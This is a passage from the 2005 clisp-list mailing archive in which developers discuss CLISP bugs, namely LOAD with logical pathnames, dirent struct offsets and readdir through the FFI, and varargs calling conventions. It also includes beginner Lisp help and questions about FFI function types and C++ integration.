       "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP/"
      at position 51
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [3]> :a

If LOAD could give a "file does not exist" error message in such a
case, as in:

[4]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")
#P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp"
[5]> (load (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP"))

*** - LOAD: A file with name
      /home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp
      does not exist
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [6]> :a
[7]> 

it would be more user friendly.


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Subject: [clisp-list] bug: load with logical pathname to an existing file.
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Date: Mon Apr 25 18:24:11 2005
X-Original-Date: Tue, 26 Apr 2005 03:22:55 +0200 (CEST)

When there's is a physical file corresponding to a logical pathname
given to LOAD, LOAD still appends a "/" (why?) and this gives an
erroneous error message:

[1]> (SETF (LOGICAL-PATHNAME-TRANSLATIONS "PACKAGES")
'((#P"PACKAGES:**;*.*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*.*")
 (#P"PACKAGES:**;*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/**/*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*.*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*.*")
 (#P"PACKAGES:NET;COMON-LISP;UCW;**;*"
  #P"/home/pjb/src/lisp/encours/bellerophon/install/install/share/lisp/packages/net/common-lisp/ucw-0.3.7/**/*")))

[2]> (LOAD "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")

*** - PARSE-NAMESTRING: syntax error in filename
       "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP/"
      at position 51
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [3]> :a

[4]> (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP")
#P"/home/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp"
[5]> (open (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP") :direction :probe)
#<CLOSED INVALID BUFFERED FILE-STREAM CHARACTER
  #P"/home/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp">
[6]> (open "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP" :direction :probe)
#<CLOSED INVALID BUFFERED FILE-STREAM CHARACTER
  #P"PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP">
[7]> (load (translate-logical-pathname "PACKAGES:COM;INFORMATIMAGO;COMMON-LISP;PACKAGE.LISP"))
;; Loading file /home/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp ...
;; Loaded file /home/pjb/src/lisp/encours/bellerophon/install/share/lisp/packages/com/informatimago/common-lisp/package.lisp
T
[8]> 

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From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 27 00:52:50 2005
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Date: Wed Apr 27 00:54:56 2005
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Hi,

[summary so far: on Pascal's x86 machine, CLISP gets a slot offset into a structure wrong]

Here's what a Suse Linux 8.[01] machine says:
struct dirent
  { [...]
    unsigned short int d_reclen;
    unsigned char d_type;
    char d_name[256];           /* We must not include limits.h! */
}

Pascal J.Bourguignon wrote:
>[pjb@thalassa pjb]$ ./print-c-sizes
> (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) 
>(:name . 11))

That seems correct and matches the Suse Linux box here as well as my expectations about alignment of character/int8-based data on x86.


> [54]> (mapcar (lambda (slot)
>                 (ffi:with-c-var (d 'linux:dirent)
>                    (- (ffi:foreign-address-unsigned
>                         (ffi:c-var-address (ffi:slot d slot))) 
>                       (ffi:foreign-address-unsigned  
>                         (ffi:c-var-address d)))))
>           '(linux::d_ino linux::d_off linux::d_reclen
>             linux::d_type linux::d_name))
> (0 4 8 10 12)
Something is wrong on your machine.
(0 4 8 10 11) is what my machine says.

I would appreciate if you could narrow this down a bit. For example, on my machine:
(sizeof '(c-struct (foo list) (l uint8) (n (c-array-max character 3)))
)
4 ; 1
and (ffi:sizeof 'ffi:uchar) -> 1 ; 1
which meets, again, my expectations.

FFI:SIZEOF reports (VALUES size alignment). They directly come from the C compiler/preprocessor: sizeof() and alignof() operators. The latter is lesser known and could by buggy. C-STRUCT offsets depend on a working alignof().

There are only very few tests of ffi:sizeof in the CLISP testsuite for the evident reason that it's highly machine dependent.
But I could happily add one like
c-struct character,(array character 3) -> 4;1
or at least (sizeof (array character 3) -> (* 3 (sizeof character))

UNLESS somebody tolds me that even that cannot be expected on all machines (or at least those that clisp works on)!


Sam wrote:
>how about this?
>-  (d_name (c-array-max character #.(cl:+ NAME_MAX 1)))
>-)
>+  (d_name c-string))
I would not dare to suggest such a change. Changing character bytes to a pointer to them is like a guarantee to crash.

man readdir() says:
:     According to  POSIX, the  dirent structure contains  a field
:     char  d_name[] of  unspecified size,  with at  most NAME_MAX
:     characters preceding the terminating null character.
Therefore, the definition I see in modules/bindings/glibc/linux.lisp is right:
(def-c-struct dirent
  [...]
  (d_type uchar)
  (d_name (c-array-max character #.(cl:+ NAME_MAX 1)))
)
Changing that to c-string would be a waste of time. What I mean is that just by reading the documentation, you know that c-string (that's a pointer) would be wrong. You need not waste your time and try it out.

Regards,
	Jorg Hohle.


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Date: Wed Apr 27 01:27:39 2005
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Hi,

>> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> wrote:
>> How define it?
>> For example - printf.
>see modules/bindings/glibc/linux.lisp and search for "fcntl".

Excellent reference. Typically, you have a few polymorphic uses, like also for ioctl().

Typically, I wrote in the past that if the library that you want to interface to only contains/exports/documents something like printf() without providing vprintf(), then you should complain to the library provider.

printf() is a convenience function for C programmers to allow them to call varargs functions easily when the number of arguments is known ni the source file. The real workhorse is vprintf(), i.e. the function that takes a pointer to an array.


printf() is especially difficult to interface to since the argument types can all be different. When all are of the same kind, e.g. strings, here is what I wrote in modules/bindings/glibc/linux.lisp about the exec() family of functions:

(def-call-out execv
    (:arguments (path c-string) (argv (c-array-ptr c-string)))
  (:return-type int)
  (:name "execv"))
You see how clisp can very succintly describe the interface to execv()

; Foreign language interfaces should use the execv* series of functions,
; not the C varargs convenience functions.
(defun execl (path &rest args)
  (execv path (coerce args 'vector)))


Having printf() without vprintf() is akin to the same kind of stupidity (say limitation to be polite) when somebody only exports a macro interface without documenting the underlying function when all the macro does is to remove the need for quoting arguments at the interactive prompt. I hope nobody does so anymore these days in Common Lisp.

What I mean is that to a C programmer, it's easier to wrote foo(a,b,c,...) than to construct an array and pass that. C provides ways to somehow work with that, so people use it this way.
But they can only use it literally in C source files. They need something really different and quite complex when they want to do the equivalent of FUNCALL or APPLY, i.e. call that same function with an unknown number of arguments.

Since you're interfacing to tcl libraries, I hope there's some function where you just pass an array of strings, or, like for fnctl(), a few different cases that you cover via a few different functions.


Another possibility is to construct the function definition at run-time, using the FOREIGN-FUNCTION constructor and a list of memoized C-type declarations, based on the actual number of arguments.
(apply
  (foreign-function #'the-0-or-1-arg-function ; get its address
    (memoized-parse-c-type
      `(c-function (:arguments ,(loop repeat (length args)) ...))))
  args)

Memoization is the key to acceptable performance. You should avoid PARSE-C-TYPE at run-time, it's a huge overhead.

You could even try to memoize the function itself, but then need to check for valid (alive) function pointers in case you expect to be able to restart from a saved image file.

That could be faster than the c-array-ptr solution when you have a list of arguments, especially if you cannot avoid to create a new vector for each call, since I expect (APPLY foreign-function my-args) to be as efficient as can be.

Regards,
	Jorg Hohle


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* Joerg-Cyril Hoehle:

> Hi,
>
>>> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> wrote:
>>> How define it?
>>> For example - printf.
>>see modules/bindings/glibc/linux.lisp and search for "fcntl".
>
> Excellent reference.

Does fcntl work on platforms where the number of non-variadic
parameters influences the calling convention?  (AMD64 could be one of
them, there was a recent discussion on the GCC mailing list.)


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Date: Wed Apr 27 04:39:21 2005
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Florian Weimer asks:
>Does fcntl work on platforms where the number of non-variadic
>parameters influences the calling convention?  (AMD64 could be one of
>them, there was a recent discussion on the GCC mailing list.)

IMHO, that should be the job of the ffcall package to get this right, if there is actually a problem.

These days, ffcall is maintained separatedly from CLISP AFAIK and used in at least one other software (some Smalltalk, IIRC).

What's the "number of non-variadic parameters"? fcntl() seems quite different from printf to me: the latter takes an arbitrary number of arguments, whereas
     int fcntl(int fd, int cmd);
     int fcntl(int fd, int cmd, long arg);
     int fcntl(int fd, int cmd, struct flock *lock);
is all that a Suse Linux 8.[01] box here knows about, according to the manpage.

Do you mean that calling a function declared via (fcntl.h) :
extern int fcntl (int __fd, int __cmd, ...) __THROW;
may cause the compiler to produce different code for
	d=fnctl(a,b,c);
than a declaration as
     int fcntl(int fd, int cmd, struct flock *lock);
which is what the FFI will pass to ffcall?

Regards,
	Jorg Hohle.


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* Joerg-Cyril Hoehle:

> What's the "number of non-variadic parameters"? 

The number of arguments before the ellipsis.

> fcntl() seems quite different from printf to me: 

At the C level, it's not.

> the latter takes an arbitrary number of arguments, whereas
>      int fcntl(int fd, int cmd);
>      int fcntl(int fd, int cmd, long arg);
>      int fcntl(int fd, int cmd, struct flock *lock);
> is all that a Suse Linux 8.[01] box here knows about, according to the manpage.

The manpage lies about the prototype. 8->

> Do you mean that calling a function declared via (fcntl.h) :
> extern int fcntl (int __fd, int __cmd, ...) __THROW;
> may cause the compiler to produce different code for
> 	d=fnctl(a,b,c);
> than a declaration as
>      int fcntl(int fd, int cmd, struct flock *lock);
> which is what the FFI will pass to ffcall?

The problem is slightly worse.  If you have too declarations,

   int fcntl1 (int __fd, int __cmd, ...);
   int fcntl2 (int __fd, ...);

the invocations 

    fcntl1 (1, 2, 0L);
    fcntl2 (1, 2, 0L);

result in different (and incompatible) calling sequences on some
architectures (not according to the i386 psABI, but AIX and many MIPS
targets are in this category).


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Hi,

Florian Weimer wrote:
>> Do you mean that calling a function declared via (fcntl.h) :
>> extern int fcntl (int __fd, int __cmd, ...) __THROW;
>> may cause the compiler to produce different code for
>> 	d=fnctl(a,b,c);
>> than a declaration as
>>      int fcntl(int fd, int cmd, struct flock *lock);
>> which is what the FFI will pass to ffcall?
>
>The problem is slightly worse.  If you have too declarations,
>   int fcntl1 (int __fd, int __cmd, ...);
>   int fcntl2 (int __fd, ...);
>the invocations 
>    fcntl1 (1, 2, 0L);
>    fcntl2 (1, 2, 0L);
>result in different (and incompatible) calling sequences on some
>architectures (not according to the i386 psABI, but AIX and many MIPS
>targets are in this category).

Thanks for the information. As far as CLISP is concerned, what matters is the first example, not the second. CLISP will pass full parameter types to ffcall, which AFAIK does not know about ellipses.

I don't know if there are problems with full declarations vs. ellipses. I couldn't find the gcc thread you initially mentioned.
I have never heard of that before (although passing different types in different registers (e.g. floating point vs. general) or stack locations with varying alignment (char vs. word-aligned) has a long tradititon, so far things worked well enough on Sparc, m68k and x86 where I had a chance to take a closer look many years ago).

In summary the following may be problematic functions, but nobody knows:
extern int open (__const char *__file, int __oflag, ...)
extern int fcntl (int __fd, int __cmd, ...)
printf, snprintf, etc
...

Regards,
	Jorg Hohle


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* Joerg-Cyril Hoehle:

> I don't know if there are problems with full declarations
> vs. ellipses. I couldn't find the gcc thread you initially
> mentioned.

You can start browsing the thread at:

  <http://gcc.gnu.org/ml/gcc/2005-01/msg00291.html>


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-04-27 09:50:38 +0200]:
>
> There are only very few tests of ffi:sizeof in the CLISP testsuite for
> the evident reason that it's highly machine dependent. 
> But I could happily add one like
> c-struct character,(array character 3) -> 4;1
> or at least (sizeof (array character 3) -> (* 3 (sizeof character))

this must be checked somewhere.
the more tests the better (remember, tests are also examples!)

> UNLESS somebody tolds me that even that cannot be expected on all
> machines (or at least those that clisp works on)!

in that case we need alignof tests in configure.
if alignof does not work on the machine,
maybe ffi:sizeof should be disabled
- or made to return just one value.


Thanks for your explanations!


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Hi there,

I've got a problem with code that used to work with a different implementation
of Common Lisp. Unfortunately it doesn't now with clisp.

The idea of the code is to build a database of facts. It works just fine if the
database is non-empty, i.e. it already contains a fact. When starting with an
empty list, however, it seems to be impossible to add the first element to it
AND retain it. Here are the two functions involved and the dribble:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; function "make-db"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; creates an empty database
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

(defun make-db ()
  (format t "Empty database created:")
  ())

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; function "add-fact"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;; adds a fact to a database
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

(defun add-fact (database new-fact)
  (cond
   ((null new-fact) (format t "List contains no data. Nothing added to database."))
   ((atom new-fact) (format t "Fact should be a list."))
   ((listp new-fact) (format t "   Adding to database:~%   ~A~%" database)
                     (if (null database)
			 (progn (setf database (list new-fact))
				(format t "      Database empty!"))
		       (setf (rest database) (cons new-fact (rest database))))
		     new-fact)
   (t (format t "Fact should be a list."))
   )
  database
  )


DRIBBLE:

Break 2 [2]> (setf db (make-db))
Empty database created:
NIL
Break 2 [2]> (add-fact db '(mother-of john mary))
   Adding to database:
   NIL
      Database empty!
((MOTHER-OF JOHN MARY))
Break 2 [2]> db
NIL
Break 2 [2]> (setf db (list '(mother-of john mary)))
((MOTHER-OF JOHN MARY))
Break 2 [2]> db
((MOTHER-OF JOHN MARY))
Break 2 [2]> (add-fact db '(mother-of fred mary))
   Adding to database:
   ((MOTHER-OF JOHN MARY))
((MOTHER-OF JOHN MARY) (MOTHER-OF FRED MARY))
Break 2 [2]> db
((MOTHER-OF JOHN MARY) (MOTHER-OF FRED MARY))


Does anyone have an idea what is going on here?
Thanks a lot!

Andreas



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> Does anyone have an idea what is going on here?

> DRIBBLE:

> Break 2 [2]> (setf db (make-db))
> Empty database created:
> NIL
> Break 2 [2]> (add-fact db '(mother-of john mary))
>    Adding to database:
>    NIL
>       Database empty!
> ((MOTHER-OF JOHN MARY))

You have not captured the modified db; the line above should be:

(setf db (add-fact db '(mother-of john mary)))

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Andreas Schmid writes:
> Hi there,
> 
> I've got a problem with code that used to work with a different implementation
> of Common Lisp. Unfortunately it doesn't now with clisp.
> 
> The idea of the code is to build a database of facts. It works just fine if the
> database is non-empty, i.e. it already contains a fact. When starting with an
> empty list, however, it seems to be impossible to add the first element to it
> AND retain it. Here are the two functions involved and the dribble:
> [...]
> (defun make-db ()
>   (format t "Empty database created:")
>   ())
> [...]
> (defun add-fact (database new-fact)
>   (cond
>    ((null new-fact) (format t "List contains no data. Nothing added to database."))
>    ((atom new-fact) (format t "Fact should be a list."))
>    ((listp new-fact) (format t "   Adding to database:~%   ~A~%" database)
>                      (if (null database)
> 			 (progn (setf database (list new-fact))
> 				(format t "      Database empty!"))
> 		       (setf (rest database) (cons new-fact (rest database))))
> 		     new-fact)
>    (t (format t "Fact should be a list.")))
>   database)

Everything is either an ATOM or a CONS.
Every list is either NIL or a CONS.
Therefore:

(cond ((null x) ...)
      ((atom x) ...)
      (t (assert (consp x)) ...))

covers all the cases.


Now, your add-fact is hybrid.

In some cases it destructively modifies the database list
  (setf (rest database) ...)

in some other cases, it behaves functionnaly, returning a newly
allocated list:
  (list new-fact)


It would be better to be always functionnal, or always procedural.

In the first case:

(defun add-fact (database new-fact)
  (if (consp new-fact)
    (if (null database)
      (list new-fact)
      (cons new-fact database))
    database))

Then you must use always add-fact as:

   (setf database (add-fact database new-fact))


In the second case, you cannot do with lists, for lists are either
CONS or NIL and NIL is immutable.  You have to use a mutable datatype.

(defun make-db ()
   (cons :db nil))

(defun dbp (object) (and (consp object) (eq :db (car object))))

(defun add-fact (database new-fact)
  (when (consp new-fact) (pushnew (cdr database) new-fact))
  (values))

 
The you must use it always as: 

    (add-fact database new-fact)

In this second case, such functions are often
in COMMON-LISP,  prefixed with 'n': nadd-fact
in scheme,       suffixed with '!':  add-fact!
to signal they non-functional behavior.



> Does anyone have an idea what is going on here?

Read again what you wrote in your add-fact.


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-27 21:49:29 +0200]:
>
> (defun add-fact (database new-fact)
>   (when (consp new-fact) (pushnew (cdr database) new-fact))
                           (pushnew new-fact (cdr database))
>   (values))

<http://www.lisp.org/HyperSpec/Body/mac_pushnew.html>

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Hoehle, Joerg-Cyril writes:
> [...]
> > [54]> (mapcar (lambda (slot)
> >                 (ffi:with-c-var (d 'linux:dirent)
> >                    (- (ffi:foreign-address-unsigned
> >                         (ffi:c-var-address (ffi:slot d slot))) 
> >                       (ffi:foreign-address-unsigned  
> >                         (ffi:c-var-address d)))))
> >           '(linux::d_ino linux::d_off linux::d_reclen
> >             linux::d_type linux::d_name))
> > (0 4 8 10 12)
> Something is wrong on your machine.
> (0 4 8 10 11) is what my machine says.
> 
> I would appreciate if you could narrow this down a bit. For example,
> on my machine:

> (sizeof '(c-struct (foo list) (l uint8) (n (c-array-max character 3)))
> )
> 4 ; 1
> and (ffi:sizeof 'ffi:uchar) -> 1 ; 1
> which meets, again, my expectations.
> 
> FFI:SIZEOF reports (VALUES size alignment). They directly come from
> the C compiler/preprocessor: sizeof() and alignof() operators. The
> latter is lesser known and could by buggy.  C-STRUCT offsets depend
> on a working alignof().
> 
> There are only very few tests of ffi:sizeof in the CLISP testsuite
> for the evident reason that it's highly machine dependent.
> But I could happily add one like
> c-struct character,(array character 3) -> 4;1
> or at least (sizeof (array character 3) -> (* 3 (sizeof character))
> 
> UNLESS somebody tolds me that even that cannot be expected on all
> machines (or at least those that clisp works on)!


In the process of testing, I've just recompiled all my clisps (2.33.2,
2.33.83), and now my test code above doesn't reflect the problem
anymore, but it still exists, both in 2.33.2 and 2.33.83).  Stranger.




[pjb@thalassa bellerophon]$ cat test-dirent.lisp
cat test-dirent.lisp
(defun print-bug-report-info ()
  (format t "~2%~{~28A ~S~%~}~2%"
          (list "LISP-IMPLEMENTATION-TYPE"    (lisp-implementation-type)
                "LISP-IMPLEMENTATION-VERSION" (lisp-implementation-version)
                "SOFTWARE-TYPE"               (software-type)
                "SOFTWARE-VERSION"            (software-version)
                "MACHINE-INSTANCE"            (machine-instance)
                "MACHINE-TYPE"                (machine-type)
                "MACHINE-VERSION"             (machine-version)
                "*FEATURES*"                  *FEATURES*)))

(print-bug-report-info)

(defun print-offsets (cstruct fields)
  (format t "structure ~A~%" cstruct)
  (format t "offsets:~%~:{  ~8A : ~3D~%~}"
          (mapcar (lambda (slot)
                    (list slot
                          (ffi:with-c-var (d cstruct)
                            (- (ffi:foreign-address-unsigned
                                (ffi:c-var-address (ffi:slot d slot))) 
                               (ffi:foreign-address-unsigned  
                                (ffi:c-var-address d)))))) fields))
  (format t "size:        ~3D~%" (ffi:sizeof cstruct)))

(print-offsets 'linux:dirent
               '(linux::d_ino linux::d_off linux::d_reclen
                              linux::d_type linux::d_name))
               
(ffi:def-c-struct foo-s
  (i ffi:long)
  (o linux:off_t)
  (r ffi:ushort)
  (y ffi:uchar)
  (n (ffi:c-array-max character 256)))

(print-offsets 'foo-s '(i o r y n))

(print-offsets '(ffi:c-struct (foo list)
                              (i ffi:long)
                              (o linux:off_t)
                              (r ffi:ushort)
                              (y ffi:uchar)
                              (n (ffi:c-array-max character 256)))
               '(i o r y n))

(let ((dir "/tmp/test-dirent/"))
  (ensure-directories-exist dir)
  (mapc (function delete-file) (directory (merge-pathnames "*.*" dir)))
  (mapc (lambda (name) (close (open (merge-pathnames name dir) :direction :output
                               :if-does-not-exist :create)))
        '("marge.simpson" "homer.simpson"
          "bart.simpson" "lisa.simpson" "magie.simpson"))
  (let ((d (linux:opendir dir)))
    (unwind-protect (loop for e = (linux:readdir d) while e
                          do (print (linux::dirent-d_name e)))
      (linux:closedir d))))


[pjb@thalassa bellerophon]$ /local/languages/clisp-2.33.2/bin/clisp  -ansi -q -K full  -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1 -norc

[1]> (load"test-dirent.lisp")
;; Loading file test-dirent.lisp ...

LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.33.2 (2004-06-02) (built 3323622442) (memory 3323622763)"
SOFTWARE-TYPE                "ANSI C program"
SOFTWARE-VERSION             "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
MACHINE-TYPE                 "I686"
MACHINE-VERSION              "I686"
*FEATURES*                   
(:CLX-MIT-R5 :CLX-MIT-R4 :XLIB :CLX :CLX-LITTLE-ENDIAN
 :HAVE-WITH-STANDARD-IO-SYNTAX :HAVE-CLCS :HAVE-DECLAIM
 :HAVE-PRINT-UNREADABLE-OBJECT :REGEXP :CLOS :LOOP :COMPILER :CLISP :ANSI-CL
 :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES
 :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX)


structure dirent
offsets:
  d_ino    :   0
  d_off    :   4
  d_reclen :   8
  d_type   :  10
  d_name   :  11
size:        268
structure FOO-S
offsets:
  I        :   0
  O        :   4
  R        :   8
  Y        :  10
  N        :  11
size:        268
structure 
(C-STRUCT (FOO LIST) (I LONG) (O off_t) (R USHORT) (Y UCHAR)
 (N (C-ARRAY-MAX CHARACTER 256)))
offsets:
  I        :   0
  O        :   4
  R        :   8
  Y        :  10
  N        :  11
size:        268

"" 
"" 
"" ;;;;;;;;;;;;;;;;;;;;;; <<=== readdir doesn't find d_name.
"" 
"" 
"" 
"" 
;; Loaded file test-dirent.lisp
T
[2]> (quit)
[pjb@thalassa bellerophon]$ /local/languages/clisp-2.33.83/bin/clisp  -ansi -q -K full  -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1 -norc
[1]> (load"test-dirent.lisp")
;; Loading file test-dirent.lisp ...

LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.33.83 (2005-03-14) (built 3323600568) (memory 3323602105)"
SOFTWARE-TYPE                
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl    -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY"
SOFTWARE-VERSION             "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
MACHINE-TYPE                 "I686"
MACHINE-VERSION              "I686"
*FEATURES*                   
(:WILDCARD :CLX-MIT-R5 :CLX-MIT-R4 :XLIB :CLX :CLX-LITTLE-ENDIAN :REGEXP
 :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL
 :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT
 :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX)


structure DIRENT
offsets:
  D_INO    :   0
  D_OFF    :   4
  D_RECLEN :   8
  D_TYPE   :  10
  D_NAME   :  11
size:        268
structure FOO-S
offsets:
  I        :   0
  O        :   4
  R        :   8
  Y        :  10
  N        :  11
size:        268
structure 
(C-STRUCT (FOO LIST) (I LONG) (O OFF_T) (R USHORT) (Y UCHAR)
 (N (C-ARRAY-MAX CHARACTER 256)))
offsets:
  I        :   0
  O        :   4
  R        :   8
  Y        :  10
  N        :  11
size:        268

"" 
"" 
"" 
"" 
"" 
"" 
"" 
;; Loaded file test-dirent.lisp
T
[2]> (quit)
[pjb@thalassa bellerophon]$ ls /tmp/test-dirent/
bart.simpson  homer.simpson  lisa.simpson  magie.simpson  marge.simpson
[pjb@thalassa bellerophon]$ 



-- 
__Pascal Bourguignon__                     http://www.informatimago.com/
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Sam Steingold schrieb:
> > * lin8080 <yva8080@serrarm.qr> [2005-04-25 13:54:13 +0200]:

Hallo

> it appears that your system is misconfigured.

Aha. Well

run setup from Windows-CD, setup gfx and snd, setup DirectX 8.1, setup
WinZip 8.0de, run install.bat and clisp.exe. Takes 33 min and several
reboots. Right?

> > (to make a perfect setup.exe, have a look at WinZip.exe or
> > IrfanView.exe.  Both do file-addings to registry and are very quick.)

> do you have a patch?

No. At the moment I rearrange Impnotes in a frame-set for better
readability (planed to mix some CLHS-byts among). When finished this,
maybe I recode some setup.exe or install.exe Progs to see what there is
done (and do some bum-bum-games between). As I know, Java has a pretty
installer - oh.

lin

PS: x-lisp html-docu is 80% finnished. Nice one.



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Example:

> (ffi:def-c-type f1
    (ffi:c-function (:language :stdc)
                    (:return-type ffi:int)
                    (:arguments (x ffi:int))))
F1
> (defun func1 (x) (* x x))
FUNC1
> (ffi:with-c-var (f 'f1 #'func1) f)
#<FOREIGN-FUNCTION #x008FF160>
> (setq foo *)
#<FOREIGN-FUNCTION #x008FF160>
> (funcall foo 5)
25

variant 1:

> (ffi:def-c-type f2
    (ffi:c-function (:language :stdc)
                    (:return-type ffi:int)
                    (:arguments (f f1) (x ffi:int))))
F2
> (defun func2 (f x) (funcall f x))
FUNC2
> (ffi:with-c-var (f 'f2 #'func2) f)
#<FOREIGN-FUNCTION #x014E3770>
> (funcall * foo 5)
25

variant 2:

> (ffi:def-c-type f2
    (ffi:c-function (:language :stdc)
                    (:return-type ffi:int)
                    (:arguments (f (ffi:c-ptr f1)) (x ffi:int))))
F2
> (ffi:with-c-var (f 'f2 #'func2) f)
#<FOREIGN-FUNCTION #x014E42B0>
> (funcall * foo 5)
25


Both variants working.
What example corresponds to c-definition:
int f2( int *f1(int x), int y);

Thanks.

-- 
WBR, Yaroslav Kavenchuk.


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Hi,

[Yaroslav Kavenchuk wonders about ffi:c-function and (ffi:c-ptr ffi:c-function...)]
Excellent question indeed.
CLISP impnotes' example section covers an example similar to yours. Of course, examples are only informative, not normative, but I don't think right now that more text should be added to impnotes on this topic, do you?

Basically, for arguments, you use (c-function ...) as meaning "pointer to function", since that's all that C passes on the stack.
For creating function objects using the with-c-var trick I showed you, you can consider c-function as meaning "the function object".

Therefore, (c-ptr (c-function #)) is usually wrong.

>What example corresponds to c-definition:
>int f2( int *f1(int x), int y);

(def-call-out f2
  (:arguments
     (f1 (c-function (:arguments (x int))
                     (:return-type int)))
     (y int))
  :return-type int
   etc.)
-- Just like in the impnotes examples.

Regards,
	Jorg Hohle.


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Thanks a lot everybody, it works now (obviously)!!!

Andreas



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Date: Fri Apr 29 05:07:37 2005
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Hello,
I'm a programmer toying around with a few ideas, and
one of them is to use clisp and c++ together. I'd like
to use clisp to describe the system's interfaces
(objects) and so on and then use mixed method
implementations (some in C++ and some in clisp) -
linked together at runtime, with C++ code calling
clisp code and vice versa.

I'd like to enquire if anyone has any good ideas how
to perform this?

Thanks,
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Hi,

> * Bojan =C3=BFffff8aernek <fvaretvgvmrq@lnubb.pbz> [2005-04-29 05:03:44 -=
0700]:
>
> I'm a programmer toying around with a few ideas, and one of them is to
> use clisp and c++ together. I'd like to use clisp to describe the
> system's interfaces (objects) and so on and then use mixed method
> implementations (some in C++ and some in clisp) - linked together at
> runtime, with C++ code calling clisp code and vice versa.
>
> I'd like to enquire if anyone has any good ideas how to perform this?

<http://clisp.cons.org/impnotes/modules.html>
this may look scary, but it is really very easy to use.
just look at, e.g., <clisp/modules/berkeley-db/bdb.c>.

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-26 03:16:37 +0200]:
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> When there's not physical file corresponding to a logical pathname
> given to LOAD, LOAD tries to consider the logical pathname as a
> physical pathname, appends a "/" (why?)

(OPEN "foo") errors out if we do (LOAD "foo")
and both "foo.lisp" and "foo/" are present

> and this gives a misleading error message:

please try the appended patch.

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--- init.lisp	26 Apr 2005 09:48:28 -0400	1.224
+++ init.lisp	29 Apr 2005 14:29:01 -0400	
@@ -1504,7 +1504,10 @@
                       (bad last-p stream (TEXT "~S: compiled file ~A has a corrupt version marker ~S")))
                   (or (equal (system::version) (eval (second obj)))
                       (bad last-p stream (TEXT "~S: compiled file ~A was created by an older CLISP version and needs to be recompiled"))))))
-    (setq filename (pathname filename) path filename)
+    (setq filename (pathname filename)
+          path (if (logical-pathname-p filename)
+                   (translate-logical-pathname filename)
+                   filename))
     (unless (directory (string-concat (namestring path) "/"))
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-26 02:52:22 +0200]:
>
> When I first set (logical-pathname-translations "PACKAGE"),
